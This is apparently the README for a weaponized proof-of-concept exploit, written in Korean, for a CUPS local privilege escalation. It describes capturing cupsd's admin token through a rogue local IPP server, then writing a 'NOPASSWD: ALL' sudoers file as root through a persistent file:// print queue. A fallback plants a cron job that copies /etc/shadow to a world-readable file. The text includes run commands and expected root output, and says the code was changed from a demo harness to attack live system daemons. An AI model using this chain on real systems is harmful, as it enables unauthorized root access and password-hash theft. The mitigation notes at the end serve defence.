
루트 `cupsd`에 대한 로컬 권한 상승.
cups2root, 하네스 제거판)CVSS 3.x : 8.4 HIGH (대략 — 확인 필요)
CWE : CWE-287 (부적절한 인증) + CWE-269 (부적절한 권한 관리)
Fix : CUPS 2.4.17+
Affects : cupsd가 root로 실행되고 631 포트가 로컬에서 접근 가능한 CUPS ≤ 2.4.16
root cupsd에 대한 로컬 권한 상승. 악성 로컬 서버를 향해 IPP 클라이언트로 동작하도록
유도되면, cupsd는 401 WWW-Authenticate: Local 챌린지에 대해 자신의 admin 토큰을 재전송하여
응답한다. 이 토큰을 탈취하면 비권한 사용자가 cupsd를 admin(root)으로 조종할 수 있다.
영구 file:// 프린트 큐(printer-is-temporary=false)는 FileDevice 정책을 우회하므로,
raw Print-Job이 공격자의 바이트를 root 권한으로 임의 경로에 기록한다 — 여기서는 NOPASSWD
sudoers 조각이다.
두 가지 프리미티브가 연쇄되어 임의의 root 파일 쓰기가 가능해진다:
Local 인증. cupsd는 /run/cups/certs/ 아래의 root 인증서로
뒷받침되는 Local 인증을 수용한다. IPP 클라이언트로 동작할 때, 401 WWW-Authenticate: Local로
챌린지를 받으면 그 admin 토큰을 스스로 제공한다. cupsd를 공격자가 제어하는 가짜 IPP 서버로
향하게 하면, 이를 root로 조종할 수 있는 유효한 토큰을 탈취하게 된다.device-uri로서의 file://는 기본적으로 거부된다. 큐를
printer-is-temporary=false로 생성하면 영구화되어 그 가드를 우회한다; 이후 raw Print-Job이
그 바이트를 대상 파일에 root 권한으로 곧바로 기록한다. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T>는 cupsd 자신의 admin 토큰이다 — 이를 /admin/에 재전송하면 root에 준하는 권한을 얻는다.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
참조 PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager)는 데모 하네스이다: root로
실행되며 자체 cupsd와 일회용 unpriv 사용자를 생성한 뒤, sudo -u unpriv로 공격자를
시뮬레이션한다. 그대로는 사용할 수 없다. 변경 사항:
127.0.0.1:631에서 이미 root로 실행 중인
시스템 cupsd를 대상으로 한다.$ATTACKER); 조각 <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl 없이 전면 재작성| Status | Versions |
|---|---|
| Vulnerable | CUPS ≤ 2.4.16 |
| Fixed | CUPS 2.4.17 and later |
| File | Role |
|---|---|
exploit.py | PoC: token leak → file:// queue → raw Print-Job → sudoers root |
README.md | This file |
Python 3 표준 라이브러리만 사용 — 의존성 없음.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
성공 시:
[+] Local token: <token>
[+] ROOT via sudoers
그런 다음 sudo -i.
cupsd를 root로 실행하지 않는다; 서비스의 권한을 낮추거나 샌드박스화한다.Local 인증과 file:// 디바이스 백엔드를 제한한다; 영구 큐에 대해 FileDevice 정책이
계속 적용되도록 유지한다.systemctl disable --now cups cups-browsed를 실행하고
패키지를 제거한다.이 프로젝트는 승인된 보안 테스트, 교육, 방어적 연구 목적으로만 제공된다. 적용 가능한 법률과 실험실 또는 고객의 교전 규칙을 준수할 책임은 사용자에게 있다.